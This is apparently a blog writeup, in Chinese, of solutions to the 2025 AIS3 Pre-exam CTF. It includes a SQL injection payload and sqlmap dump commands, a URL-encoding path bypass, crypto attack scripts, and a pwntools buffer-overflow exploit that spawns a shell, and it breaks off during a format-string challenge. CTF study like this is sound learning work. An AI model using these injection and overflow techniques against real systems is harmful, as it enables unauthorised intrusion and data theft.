Skip to main content
  1. Posts/

2025 AIS3 Pre-exam Writeup

··7319 words
tag: CTFAIS3 #
Author: Bun_. #

MISC #

WELCOME #

image

但如果直接複製的話會拿到

AIS3{This_Is_Just_A_Fake_Flag_~~}

所以就截圖再複製就好了

flag: AIS3{Welcome_And_Enjoy_The_CTF_!} #

Ramen CTF #

chal

最喜歡看圖找地點的題目了(X
先從發票上的統編找
雖然沒有最後一位數但是從0到9一定有一家
image

查了一下地址 應該是叫樂山溫泉拉麵
然後用手機掃發票的拿到發票號碼
就可以查到點了什麼
image

欸不是蝦拉麵在紙本菜單上沒有欸!!

flag: AIS3{樂山溫泉拉麵:蝦拉麵} #

AIS3 Tiny Server - Web / Misc #

都到這步了但是還是做不出來

image

喔 我在耍白癡
如果直接點連結 會變成

http://chals1.ais3.org:20152/readable_flag_LxS4JcxGzxvV1Sa5WVXFZY3kb0I

所以看不到flag
直接在瀏覽器打

http://chals1.ais3.org:20152/%2f/readable_flag_LxS4JcxGzxvV1Sa5WVXFZY3kb0I

即可
我絕對不會說我在這裡卡了2天懷疑人生

flag: AIS3{tInY_we8_53rVER_wITH_FIle_8r0Ws1ng_a5_@_feAtUr3} #

WEB #

Tomorin db 🐧 #

大概就是要拜訪/flag會被擋掉 被導去看youtube

image

因為這個

package main

import "net/http"

func main() {
	http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
  	})
  	http.ListenAndServe(":30000", nil)
}

但是/flag是真的有flag的
所以只要繞過就好了

curl http://chals1.ais3.org:30000/%2e/flag

image

flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?} #

Login Screen 1 #

先說 我應該不是正規解XD
登入頁面 然後用' UNION SELECT 1,2,'admin',4,5 --
會得到

image

所以知道是SQL Injection

sqlmap -u http://login-screen.ctftime.uk:36368/index.php \
--cookie="PHPSESSID=d47feb6177c...17c5a501c1" \
--data="username=TAGj&password=ljWd" \
--dbms=SQLite \
-T Users \
--columns \
--level=5 --risk=3 \
--threads=5 \
--time-sec=2 \
--fresh-queries

image

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://login-screen.ctftime.uk:36368/index.php \
--cookie="PHPSESSID=..." \
--data="username=TAGj&password=ljWd" \
--dbms=SQLite \
-T Users \
--dump     

image

然後他其實是弱密碼 admin:admin
所以結合爆破出來的2Fa即可
(其實那個000000蠻誤導的 還以為一定是6個字所以我還跑去爆破)
image

flag: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0} #

更 找到了正規解 #

因為太好奇如果是正常解的話要怎麼解了
就去嘗試了一下
發現了一個可能有點東西的cookies

image

試了幾次發現他應該是後臺會看這個PHPSESSID有沒有登入過 用什麼身分登入
因為如果登入到2fa的頁面就會無法回前頁了

意外發現如果是用沒有登入的PHPSESSID也可以看到用guest登入後的頁面

image

但它同時也說 Undefined array key "username" in <b>/var/www/html/dashboard.php

所以我就用admin登入 再次請求dashboard頁面就可以了

image

意外的很簡單欸!!

Crypto #

這次crypto怎麼感覺都好難

Stream #

上次AIS3學了 MT19937 所以就開始了找隨機數的旅程

我是垃圾

image

左邊大概讓AI產了超多種方法跟猜測…
然後去找他到底哪裡在亂寫
最後終於搞出一個正確的腳本

總之大概是

1. os.urandom(True) → 只有256種可能的SHA512值
2. 輸出 = SHA512(1位元組) XOR (隨機數)²
3. 透過完全平方數檢測恢復隨機數
4. 用MT19937預測第81個隨機數
5. flag = flag_輸出 XOR (第81個隨機數)²

欸這真的是預期解嗎??

#!/usr/bin/env python3

import hashlib
import math
from randcrack import RandCrack

with open('output.txt', 'r') as f:
    lines = f.read().strip().split('\n')

noise_lines = lines[:80]
flag_line = lines[80]

# 預計算所有256種可能的SHA512值
sha512_values = []
for i in range(256):
    digest = hashlib.sha512(bytes([i])).digest()
    sha512_values.append(int.from_bytes(digest))

print("正在恢復隨機數...")

# 恢復所有80個隨機數
recovered_randoms = []
for line in noise_lines:
    output_value = int(line, 16)
    
    for sha512_int in sha512_values:
        b_squared = output_value ^ sha512_int
        sqrt_b = math.isqrt(b_squared)
        if sqrt_b * sqrt_b == b_squared:
            recovered_randoms.append(sqrt_b)
            break

print(f"恢復了 {len(recovered_randoms)} 個隨機數")

# 設定MT19937狀態恢復
rc = RandCrack()

# 提交前624個32位元值(前78個256位元值)
for i in range(78):
    rand_val = recovered_randoms[i]
    for j in range(8):
        chunk = (rand_val >> (j * 32)) & 0xFFFFFFFF
        rc.submit(chunk)

# 預測256位元值的函數
def predict_256bit():
    result = 0
    for i in range(8):
        chunk = rc.predict_getrandbits(32)
        result |= (chunk << (i * 32))
    return result

# 跳過第79和80個值(驗證用)
predict_256bit()
predict_256bit()

# 預測第81個值並解密flag
predicted_81 = predict_256bit()
flag_output = int(flag_line, 16)
flag_value = flag_output ^ (predicted_81 ** 2)

# 解碼flag
for byte_length in range(10, 100):
    try:
        flag_bytes = flag_value.to_bytes(byte_length, 'big').rstrip(b'\x00')
        flag_text = flag_bytes.decode('ascii', errors='ignore')
        if 'AIS3{' in flag_text and '}' in flag_text:
            start = flag_text.find('AIS3{')
            end = flag_text.find('}', start) + 1
            print(f"🎉 FLAG: {flag_text[start:end]}")
            break
    except:
        continue

flag: FLAG: AIS3{no_more_junks…plz} #

SlowECDSA #

超好笑 這題放hard但結果一堆人寫
於是我就讓AI火力全開
啊….flag怎麼就這樣掉出來了 (10分鐘)
我自首 這題我是看不懂啦…..

import socket
import hashlib
import re
from ecdsa import NIST192p

curve = NIST192p
order = curve.generator.order()

def connect_and_attack():
    # 連接到服務器
    host = "chals1.ais3.org"
    port = 19000
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    
    # 接收歡迎消息
    data = sock.recv(1024).decode()
    print(data)
    
    # 獲取第一個簽名
    print("Getting first signature...")
    sock.send(b"get_example\n")
    data = sock.recv(1024).decode()
    print(data)
    
    # 解析第一個簽名
    r1_match = re.search(r'r: (0x[0-9a-f]+)', data)
    s1_match = re.search(r's: (0x[0-9a-f]+)', data)
    
    if not r1_match or not s1_match:
        print("Failed to parse first signature!")
        return
    
    r1 = int(r1_match.group(1), 16)
    s1 = int(s1_match.group(1), 16)
    print(f"First signature: r1={hex(r1)}, s1={hex(s1)}")
    
    # 獲取第二個簽名
    print("Getting second signature...")
    sock.send(b"get_example\n")
    data = sock.recv(1024).decode()
    print(data)
    
    # 解析第二個簽名
    r2_match = re.search(r'r: (0x[0-9a-f]+)', data)
    s2_match = re.search(r's: (0x[0-9a-f]+)', data)
    
    if not r2_match or not s2_match:
        print("Failed to parse second signature!")
        return
    
    r2 = int(r2_match.group(1), 16)
    s2 = int(s2_match.group(1), 16)
    print(f"Second signature: r2={hex(r2)}, s2={hex(s2)}")
    
    # 計算攻擊
    print("Performing attack...")
    r_forge, s_forge = perform_attack(r1, s1, r2, s2)
    
    if r_forge is None:
        print("Attack failed!")
        return
    
    print(f"Forged signature: r={hex(r_forge)}, s={hex(s_forge)}")
    
    # 驗證偽造的簽名
    print("Submitting forged signature...")
    sock.send(b"verify\n")
    data = sock.recv(1024).decode()
    print(data)
    
    # 發送消息
    sock.send(b"give_me_flag\n")
    data = sock.recv(1024).decode()
    print(data)
    
    # 發送r
    sock.send(f"{hex(r_forge)}\n".encode())
    data = sock.recv(1024).decode()
    print(data)
    
    # 發送s
    sock.send(f"{hex(s_forge)}\n".encode())
    data = sock.recv(1024).decode()
    print(data)
    
    sock.close()

def perform_attack(r1, s1, r2, s2):
    # LCG 參數
    a = 1103515245
    c = 12345
    
    # 計算消息hash
    example_msg = b"example_msg"
    h1 = int.from_bytes(hashlib.sha1(example_msg).digest(), 'big') % order
    h2 = h1  # 同樣的消息
    
    target_msg = "give_me_flag"
    h_target = int.from_bytes(hashlib.sha1(target_msg.encode()).digest(), 'big') % order
    
    # 恢復私鑰
    s1_inv = pow(s1, -1, order)
    s2_inv = pow(s2, -1, order)
    
    numerator = (a * h1 * s1_inv + c - h2 * s2_inv) % order
    denominator = (r2 * s2_inv - a * r1 * s1_inv) % order
    
    if denominator == 0:
        print("Denominator is zero!")
        return None, None
    
    d = (numerator * pow(denominator, -1, order)) % order
    print(f"Recovered private key: {hex(d)}")
    
    # 恢復k1並預測k3
    k1 = ((h1 + r1 * d) * s1_inv) % order
    k2 = (a * k1 + c) % order
    k3 = (a * k2 + c) % order
    
    print(f"Predicted k3: {hex(k3)}")
    
    # 偽造簽名
    R = k3 * curve.generator
    r_forge = R.x() % order
    k3_inv = pow(k3, -1, order)
    s_forge = (k3_inv * (h_target + r_forge * d)) % order
    
    return r_forge, s_forge

if __name__ == "__main__":
    connect_and_attack()

flag: AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily…} #

Random_RSA #

1. 從 output.txt 讀出 h0,h1,h2,以及 LCG 模數 M、RSA 公鑰 (n,e) 和密文 c。
2. 利用
    Δ₁ = h₁−h₀,
    Δ₂ = h₂−h₁,
    在 mod M 下求
    a ≡ Δ₂·Δ₁⁻¹,
    b ≡ h₁−a·h₀。
3. p 與 q 是同一條 LCG 序列上連續兩個素數,滿足
    p ≡ fʲ(seed) (mod M),
    q ≡ f(p) (mod M)。
    取 j=1,2,… 枚舉:令
    A = aʲ mod M,
    B = b·(A−1)·(a−1)⁻¹ mod M;
    原式等價於在 mod M 下解
    A·x² + B·x ≡ n (mod M)。
    用 sqrt_mod 開模方求解後,測試哪個解能整除 n,就得到 p,進而 q = n/p。
4. 得到 p,q 後計算私鑰 d = e⁻¹ mod φ(n),再 pow(c,d,n) 就是 FLAG。
from sympy import sqrt_mod
from Crypto.Util.number import inverse, long_to_bytes

# 1. 讀取 output.txt
h = {}
with open("output.txt") as f:
    for line in f:
        k, v = line.strip().split(" = ")
        h[k] = int(v)
h0, h1, h2 = h['h0'], h['h1'], h['h2']
m, n, e, c = h['M'], h['n'], h['e'], h['c']

# 2. 恢復 LCG(線性同餘生成器)的參數 a, b
Δ1 = (h1 - h0) % m
Δ2 = (h2 - h1) % m
a = Δ2 * inverse(Δ1, m) % m
b = (h1 - a * h0) % m

# 3. 枚舉 j,使 A·x² + B·x − n ≡ 0 (mod m) 有解,從中找到質因數 p
inv_am1 = inverse(a - 1, m)
A = 1
for j in range(1, 5000):
    A = (A * a) % m
    B = b * (A - 1) * inv_am1 % m
    D = (B * B + 4 * A * n) % m
    try:
        roots = sqrt_mod(D, m, True)  # 嘗試計算 D 的平方根(模 m)
    except ValueError:
        continue  # 若無平方根,則跳過此次迴圈
    inv2A = inverse(2 * A, m)
    for r in roots:
        p = ((-B + r) * inv2A) % m
        if 1 < p < n and n % p == 0:
            q = n // p  # 找到符合條件的 p,計算 q
            break
    else:
        continue
    break

# 4. 計算私鑰 d,並解密密文
φ = (p - 1) * (q - 1)
d = inverse(e, φ)
flag = long_to_bytes(pow(c, d, n))
print("FLAG =", flag.decode())

flag: AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3} #

Hill #

import socket
import re
import numpy as np
import time
import os # Still used for os.linesep in some cases, though not critical here

# Constants
PRIME = 251
N = 8
REMOTE_HOST = "chals1.ais3.org"
REMOTE_PORT = 18000
PROMPT = b"input: " # The prompt the remote service waits for

# --- Helper Functions (largely unchanged) ---
def zero_vec(size=N):
    return bytes([0] * size)

def unit_vec(j, size=N):
    return bytes([1 if k == j else 0 for k in range(size)])

def parse_blocks(output_bytes: bytes) -> list:
    blocks = []
    text = output_bytes.decode('latin-1', errors='ignore')
    for line in text.splitlines():
        line = line.strip()
        if line.startswith('[') and line.endswith(']'):
            try:
                nums_str = line[1:-1].strip().split()
                if not all(s.isdigit() or (s.startswith('-') and s[1:].isdigit()) for s in nums_str):
                    continue 
                nums = [int(s) for s in nums_str]
                if len(nums) == N:
                    blocks.append(np.array(nums, dtype=int))
            except ValueError:
                continue
    return blocks

def matrix_mod_inverse(matrix, modulus):
    A = np.array(matrix, dtype=np.int64)
    n_val = A.shape[0]
    identity = np.eye(n_val, dtype=np.int64)
    aug = np.concatenate((A, identity), axis=1)
    aug = aug % modulus
    for i in range(n_val):
        pivot_row_idx = i
        if aug[i, i] == 0:
            found_pivot = False
            for k in range(i + 1, n_val):
                if aug[k, i] != 0:
                    pivot_row_idx = k
                    found_pivot = True
                    break
            if not found_pivot:
                raise ValueError("Matrix is singular (cannot find non-zero pivot).")
            aug[[i, pivot_row_idx]] = aug[[pivot_row_idx, i]]
            aug = aug % modulus
        pivot_val = aug[i, i]
        try:
            inv_pivot = pow(int(pivot_val), -1, int(modulus))
        except ValueError:
            raise ValueError(f"Cannot compute modular inverse for pivot {pivot_val} mod {modulus}.")
        aug[i, :] = (aug[i, :] * inv_pivot) % modulus
        for j in range(n_val):
            if i != j:
                factor = aug[j, i]
                aug[j, :] = (aug[j, :] - factor * aug[i, :]) % modulus
    A_inv = aug[:, n_val:] % modulus
    return A_inv.astype(int)

def blocks_to_str(decrypted_blocks: list) -> str:
    byte_data = b""
    for block in decrypted_blocks:
        byte_data += bytes(list(val % 256 for val in block))
    byte_data = byte_data.rstrip(b'\x00')
    try:
        return byte_data.decode('utf-8')
    except UnicodeDecodeError:
        return byte_data.decode('latin-1', errors='ignore')

# --- RemoteChallenger Class for interacting with the remote service ---
class RemoteChallenger:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(10.0) # Set a timeout for socket operations

        try:
            print(f"   Connecting to {self.host}:{self.port}...")
            self.sock.connect((self.host, self.port))
            print(f"   ✅ Connected.")
            # Read everything up to and including the first "input: " prompt
            self.initial_output_raw = self._read_until_prompt(timeout=10.0)
        except socket.timeout:
            raise TimeoutError(f"Timeout connecting or getting initial prompt from {self.host}:{self.port}")
        except Exception as e:
            raise RuntimeError(f"Failed to connect or get initial output from {self.host}:{self.port}: {e}") from e

    def _recv_all(self, timeout=2.0):
        """Helper to receive all available data with a short timeout."""
        self.sock.setblocking(False) # Non-blocking
        total_data = b''
        begin = time.time()
        while True:
            # If you got some data, then break after timeout
            if total_data and time.time() - begin > timeout:
                break
            # If you got no data at all, wait a little longer
            elif time.time() - begin > timeout * 2:
                break
            try:
                data = self.sock.recv(8192)
                if data:
                    total_data += data
                    begin = time.time() # Reset timer if data received
                else:
                    time.sleep(0.01) # Slight pause if no data
            except BlockingIOError: # No data available on non-blocking socket
                 time.sleep(0.01)
            except socket.error: # Other socket errors
                break
        self.sock.setblocking(True) # Reset to blocking
        return total_data


    def _read_until_prompt(self, timeout: float = 10.0) -> bytes:
        """Reads from the socket until the PROMPT is encountered or timeout."""
        buffer = b""
        start_time = time.time()
        self.sock.settimeout(timeout) # Set timeout for individual recv calls
        try:
            while PROMPT not in buffer:
                if time.time() - start_time > timeout: # Overall timeout
                    raise TimeoutError(f"Timeout waiting for PROMPT. Buffer: {buffer!r}")
                
                chunk = self.sock.recv(4096) # Read a chunk
                if not chunk: # Connection closed by remote
                    raise EOFError(f"Connection closed by remote while waiting for PROMPT. Buffer: {buffer!r}")
                buffer += chunk
        finally:
            self.sock.settimeout(10.0) # Reset to default timeout for the class
        return buffer

    def _read_response_after_send(self, timeout: float = 10.0) -> bytes:
        """Reads all output after sending data, as the remote might close or send a lot."""
        # After sending, the remote service will print output.
        # It might close the connection or just stop sending.
        # We'll try to read all available data until a short timeout after last data received.
        time.sleep(0.1) # Give a moment for remote to process and start outputting
        return self._recv_all(timeout=2.0) # Use a shorter timeout for response gathering


    def send_payload_and_get_response(self, payload_bytes: bytes) -> bytes:
        """Sends the payload string (as bytes) and reads the full response."""
        try:
            # Remote service expects a string ending with newline.
            # The payload_bytes are raw bytes for str_to_blocks.
            # We need to decode them to a string that chall.py's input() would get.
            # latin-1 is suitable as it maps each byte 0-255 to a unique char.
            payload_str = payload_bytes.decode('latin-1')
            self.sock.sendall((payload_str + "\n").encode('latin-1')) # Send as latin-1 encoded bytes
        except Exception as e:
            raise IOError(f"Failed to send payload to remote: {e}") from e
        
        return self._read_response_after_send(timeout=10.0)

    def close(self):
        """Closes the socket connection."""
        if self.sock:
            try:
                self.sock.shutdown(socket.SHUT_RDWR) # Gracefully shutdown
            except Exception:
                pass # Ignore errors if already closed or not connected
            try:
                self.sock.close()
            except Exception:
                pass # Ignore errors
            self.sock = None
            print("   🔌 Connection closed.")

# --- Main Attack Logic (largely unchanged, uses RemoteChallenger) ---
if __name__ == "__main__":
    print("🚀 Starting Hill Cipher Attack (REMOTE)...")
    challenger = None
    try:
        # Use RemoteChallenger instead of Challenger
        challenger = RemoteChallenger(REMOTE_HOST, REMOTE_PORT)

        # 1. Get the encrypted flag from the initial output
        print("1. Reading encrypted flag from remote service...")
        flag_ciphertext_raw = challenger.initial_output_raw.split(PROMPT, 1)[0]
        flag_ciphertext_blocks = parse_blocks(flag_ciphertext_raw)
        if not flag_ciphertext_blocks:
            raise ValueError(f"Could not parse encrypted flag blocks. Raw: {flag_ciphertext_raw.decode('latin-1',errors='ignore')}")
        print(f"   ✅ Encrypted flag has {len(flag_ciphertext_blocks)} blocks.")

        # 2. Construct the special chosen plaintext
        print("2. Constructing special chosen plaintext input...")
        chosen_plaintext_bytes = b""
        for j in range(N):
            chosen_plaintext_bytes += zero_vec()
            chosen_plaintext_bytes += unit_vec(j)
            chosen_plaintext_bytes += unit_vec(j)
        print(f"   ✅ Chosen plaintext constructed ({len(chosen_plaintext_bytes)} bytes, {3*N} blocks).")

        # 3. Send chosen plaintext and get its encryption
        print("3. Sending chosen plaintext to remote and getting response...")
        response_to_chosen_pt_raw = challenger.send_payload_and_get_response(chosen_plaintext_bytes)
        C_chosen_blocks = parse_blocks(response_to_chosen_pt_raw)
        
        if len(C_chosen_blocks) != 3 * N:
            # Sometimes remote might send extra empty lines or other non-block data
            print(f"   ⚠️ Warning: Expected {3*N} ciphertext blocks, got {len(C_chosen_blocks)}. Will proceed if enough data.")
            print(f"   Raw response was:\n---\n{response_to_chosen_pt_raw.decode('latin-1', errors='ignore')}\n---")
            if len(C_chosen_blocks) < 3 * N:
                 raise ValueError(f"Not enough blocks received. Expected {3*N}, got {len(C_chosen_blocks)}.")
        print(f"   ✅ Received {len(C_chosen_blocks)} (or more) ciphertext blocks for chosen plaintext.")


        # 4. Recover matrices A and B
        print("4. Recovering matrices A and B...")
        A_recovered_cols = []
        B_recovered_cols = []
        for j in range(N):
            C_3j_plus_1 = C_chosen_blocks[3*j + 1]
            C_3j_plus_2 = C_chosen_blocks[3*j + 2]
            A_col_j = C_3j_plus_1
            A_recovered_cols.append(A_col_j)
            B_col_j = (C_3j_plus_2 - C_3j_plus_1 + PRIME) % PRIME
            B_recovered_cols.append(B_col_j)
        
        A_matrix = np.array(A_recovered_cols).T % PRIME
        B_matrix = np.array(B_recovered_cols).T % PRIME
        print("   ✅ Matrix A recovered.")
        print("   ✅ Matrix B recovered.")

        # 5. Calculate A_inverse
        print("5. Calculating A_inverse...")
        A_inv_matrix = matrix_mod_inverse(A_matrix, PRIME)
        print("   ✅ A_inverse calculated.")

        # 6. Decrypt the flag
        print("6. Decrypting the flag...")
        decrypted_flag_blocks = []
        P0_flag = (A_inv_matrix @ flag_ciphertext_blocks[0]) % PRIME
        decrypted_flag_blocks.append(P0_flag)
        for k in range(1, len(flag_ciphertext_blocks)):
            prev_P_flag = decrypted_flag_blocks[k-1]
            term_B_P_prev = (B_matrix @ prev_P_flag) % PRIME
            C_k_flag = flag_ciphertext_blocks[k]
            term_to_multiply = (C_k_flag - term_B_P_prev + PRIME) % PRIME
            P_k_flag = (A_inv_matrix @ term_to_multiply) % PRIME
            decrypted_flag_blocks.append(P_k_flag)
        print("   ✅ Flag blocks decrypted.")

        # 7. Convert decrypted blocks to string
        final_flag_str = blocks_to_str(decrypted_flag_blocks)
        print("\n🎉🎉🎉 Successfully Decrypted Flag 🎉🎉🎉")
        print(f"🏁 FLAG: {final_flag_str}")

    except socket.timeout:
        print(f"\n❌ A socket timeout occurred during the attack.")
    except EOFError as e:
        print(f"\n❌ Connection closed unexpectedly: {e}")
    except Exception as e:
        print(f"\n❌ An error occurred during the attack: {e}")
        import traceback
        traceback.print_exc()
    finally:
        if challenger:
            print("\n🔌 Closing down remote connection...")
            challenger.close()

flag: AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5} #

Reverse #

web flag checker #

這題看其他人的討論好像一開始在解碼wasm檔案會遇到問題
但不知道為什麼我的載下來用vscode打開就是看得懂得所以www

他的加密機制是將 flag(長度為40字節)分成5個部分,每部分8字節
每個部分轉換為 64 位整數,然後通過位元循環左移操作進行加密
加密後的 5 個 64 位整數作為硬編碼值存儲在 WebAssembly 程式中

WebAssembly 程式中對每個部分使用不同的位移值,計算方式為:
bash! shift = (-39934163 >> (index * 6)) & 63
根據這個公式,5 個部分的位移值為:[45, 28, 42, 39, 61]

對每個加密後的 64 位整數進行循環右移操作,偏移量為對應的位移值
將結果轉換為 8 字節的字節序列(使用小端序)
將字節序列變為為 ASCII 字符然後拼接 5 個部分得到完整的 flag

import base64

def rotate_left(value, n):
    """將 64 位值循環左移 n 位"""
    return ((value << n) | (value >> (64 - n))) & 0xFFFFFFFFFFFFFFFF

def rotate_right(value, n):
    """將 64 位值循環右移 n 位"""
    return ((value >> n) | (value << (64 - n))) & 0xFFFFFFFFFFFFFFFF

vals = [
    7577352992956835434,
    7148661717033493303,
    11365297244963462525, 
    10967302686822111791, 
    8046961146294847270
]

# 位移值保持不變
shifts = [45, 28, 42, 39, 61]

# 解密 flag
flag = ""
for i in range(5):
    # 右旋轉來還原原始值
    original = rotate_right(vals[i], shifts[i])
    # 轉換為字節
    byte_val = original.to_bytes(8, 'little')
    # 嘗試解碼為 ASCII
    part = byte_val.decode('ascii', errors='replace')
    flag += part

# 直接印出完整的 flag
print("Flag:", flag)

flag: AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd} #

AIS3 Tiny Server - Reverse #

笑死 我 AIS3 Tiny Server 還沒寫出來 這題先寫出來了
我絕對不會說是因為我都直接打server然後server一直斷線
總之 IDA
start -> 12B0 -> 2760 -> 2110 -> 1F90 -> 交給AI

import struct

# 從sub_1E20函數提取的整數值
v8_values = [
    1480073267,  # v8[0]
    1197221906,  # v8[1]
    254628393,   # v8[2]
    920154,      # v8[3]
    1343445007,  # v8[4]
    874076697,   # v8[5]
    1127428440,  # v8[6]
    1510228243,  # v8[7]
    743978009,   # v8[8]
    54940467,    # v8[9]
    1246382110,  # v8[10]
]

# 將整數轉換為字節(小端序)
encrypted_bytes = bytearray()
for value in v8_values:
    encrypted_bytes.extend(struct.pack("<I", value))

# 加上v9
encrypted_bytes.extend(struct.pack("<H", 20))  # v9 = 20

# 確保我們只使用45字節
encrypted_bytes = encrypted_bytes[:45]

# 保存原始加密字節的副本
original_bytes = bytearray(encrypted_bytes)

# 密鑰
key = b"rikki_l0v3"

# 初始值
v1 = 0
v2 = 51  # 初始v2值
v3 = 114  # 初始v3值(r的ASCII值)

# 解密循環
while True:
    # 計算解密值並存入encrypted_bytes
    encrypted_bytes[v1] = v2 ^ v3
    v1 += 1
    
    if v1 == 45:
        break
    
    # 更新v2為下一個要解密的原始字節
    v2 = original_bytes[v1]
    # 更新v3為密鑰的下一個字節
    v3 = key[v1 % 10]

# 將解密後的字節轉換為ASCII字符串
flag = encrypted_bytes.decode('ascii')
print(f"解密的標誌: {flag}")

flag: AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!} #

A_simple_snake_game #

Way1 #

drawText:

image

# hex_array1 的數據
hex_array1 = [
    0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
    0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
    0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C, 0x46,
    0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F, 0x93,
    0x22, 0x55
]

# 加密的數據轉換為位元組
encrypted_data = [
    -831958911, -1047254091, -1014295699, -620220219, 2001515017,
    -317711271, 1223368792, 1697251023, 496855031, -569364828
]

encrypted_bytes = []
for val in encrypted_data:
    val = val & 0xFFFFFFFF
    encrypted_bytes.extend([
        val & 0xFF,
        (val >> 8) & 0xFF, 
        (val >> 16) & 0xFF,
        (val >> 24) & 0xFF
    ])

# 添加最後的位元組
encrypted_bytes.extend([26365 & 0xFF, (26365 >> 8) & 0xFF, 40])

# XOR 解密
decrypted = []
for i in range(len(encrypted_bytes)):
    decrypted_byte = encrypted_bytes[i] ^ hex_array1[i]
    decrypted.append(chr(decrypted_byte))

decrypted_message = ''.join(decrypted)
print("解密訊息:", decrypted_message)

Way2 #

他理論上可以用Cheat Engine解
勝利條件:

  • 分數 > 11,451,419
  • 時間 > 19,810

但我不會 所以有人可以教我嗎拜託🥹

flag: AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD} #

PWN #

都不會寫 但謝謝AI教我 我之後再慢慢研究

Welcome to the World of Ave Mujica🌙 #

  1. IDA 靜態分析階段
    首先用 IDA 打開程序
    在 IDA 中分析主要函數
    Step 1: 找到 main 函數
# 檢查程序基本信息
file ./chal
checksec ./chal

IDA 會自動識別 main 函數
看到程序流程:輸出 banner → 詢問是否願意 → 讀取長度 → 讀取名字
Step 2: 識別關鍵函數

// main 函數偽代碼
int main() {
    // 一堆 printf 輸出 banner
    printf("你願意把剩餘的人生交給我嗎?");
    
    fgets(s, 8, stdin);  // 讀取 yes/no
    if (strcmp(s, "yes\n") == 0) {
        printf("告訴我你的名字的長度: ");
        int8 = read_int8();  // 關鍵:讀取長度
        
        if (int8 > 143) {  // 長度檢查
            printf("我的意思就是你的名字太長了");
            return 1;
        }
        
        printf("告訴我你的名字: ");
        read(0, buf, int8);  // 漏洞點:按用戶輸入的長度讀取
    }
    return 0;
}

Step 3: 發現後門函數 在 Functions 窗口中看到一個可疑函數:

void Welcome_to_the_world_of_Ave_Mujica() {
    execve("/bin/sh", 0, 0);  // 直接給 shell!
}

地址是 0x401256

  1. 漏洞分析
    Stack Layout 分析
    在 IDA 中查看 main 函數的 stack frame:
[rbp-A0h] = buf[143]     // 143字節緩衝區
[rbp-11h] = s[8]         // 8字節用於存 yes/no
[rbp-9h]  = int8         // 1字節存長度
[rbp-8h]  = v7           // 8字節指針
[rbp+0]   = saved_rbp    // 8字節
[rbp+8]   = return_addr  // 8字節 <- 我們的目標

計算偏移量

從 buf 開始到 return_addr 的距離:
buf[143] + padding + saved_rbp + return_addr
= 143 + 0x8F-0x90+8+8  // 計算實際對齊
= 143 + 17 + 8 = 168 字節

漏洞成因

if (int8 > 143) {  // 檢查
    // 報錯退出
}
read(0, buf, int8);  // 按 int8 長度讀取到 buf

問題:read_int8() 函數處理負數時有問題!
3. 突破點發現
測試 read_int8() 函數

# 測試發現:
p.sendline(b"-1")  # 負數輸入

原理:

  • unsigned __int8 範圍是 0-255
  • 當輸入 -1 時,可能被轉換為 255 或繞過檢查
  • 檢查 if (int8 > 143) 可能只檢查正數
  • read(0, buf, int8) 使用了實際值

動態測試驗證

# 測試各種輸入:
p.sendline(b"144")  # -> "太長了"
p.sendline(b"143")  # -> "太長了"  
p.sendline(b"-1")   # -> 程序繼續,要求輸入名字!
  1. Exploit
    為什麼是 168 字節?
1. IDA 中看 stack layout: buf 在 [rbp-A0h],return address 在 [rbp+8]
2. 計算: 0xA0 + 8 = 160 + 8 = 168
3. 動態驗證: 測試不同偏移量,168 是正確的

為什麼是 0x401256?

1. IDA Functions 窗口: 看到 Welcome_to_the_world_of_Ave_Mujica
2. 查看地址: 函數起始地址是 0x401256
3. 確認功能: 反彙編看到 execve("/bin/sh")

為什麼用負數?

1. 測試發現: 正數被長度檢查攔截
2. 負數繞過: -1 能通過檢查但讓 read() 讀取大量數據 
3. 原因推測: unsigned char 轉換或檢查邏輯漏洞
  1. 完整思路流程
1. IDA 靜態分析 → 發現後門函數和緩衝區溢出
2. 計算偏移量 → 168字節到達返回地址  
3. 發現長度檢查 → 正常輸入被攔截
4. 測試邊界值 → 負數能繞過檢查
5. 構造exploit → 負數 + 168字節填充 + 後門地址
6. 成功getshell → 利用後門函數執行 /bin/sh

腳本 #

from pwn import *

p = remote("chals1.ais3.org", 60373)

p.sendlineafter(b'?', b"yes")
p.sendlineafter(b': ', b"-1") 
p.sendlineafter(b': ', b'A' * 168 + p64(0x401256))

print("Shell ready!")
p.interactive()

image

flag: AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)…Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)…_46c6ae136d67b768701ea81334e50e59} #

(是說我真的中了flag複製貼上不會是對的魔咒,於是又重開了一次去拿base64…)

Format Number #

第一步:題目分析 #

首先看到題目給了一個binary和source code:

int main() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    srand(time(NULL));
    int number = rand();
    int fd = open("/home/chal/flag.txt", O_RDONLY);
    char flag[0x100] = {0};          // flag存在棧上!
    read(fd, flag, 0xff);
    close(fd);
    
    char format[0x10] = {0};
    printf("What format do you want ? ");
    read(0, format, 0xf);            // 讀取用戶輸入
    check_format(format);

    char buffer[0x20] = {0};
    strcpy(buffer, "Format number : %3$");
    strcat(buffer, format);          // 用戶輸入直接拼接!
    strcat(buffer, "d\n");
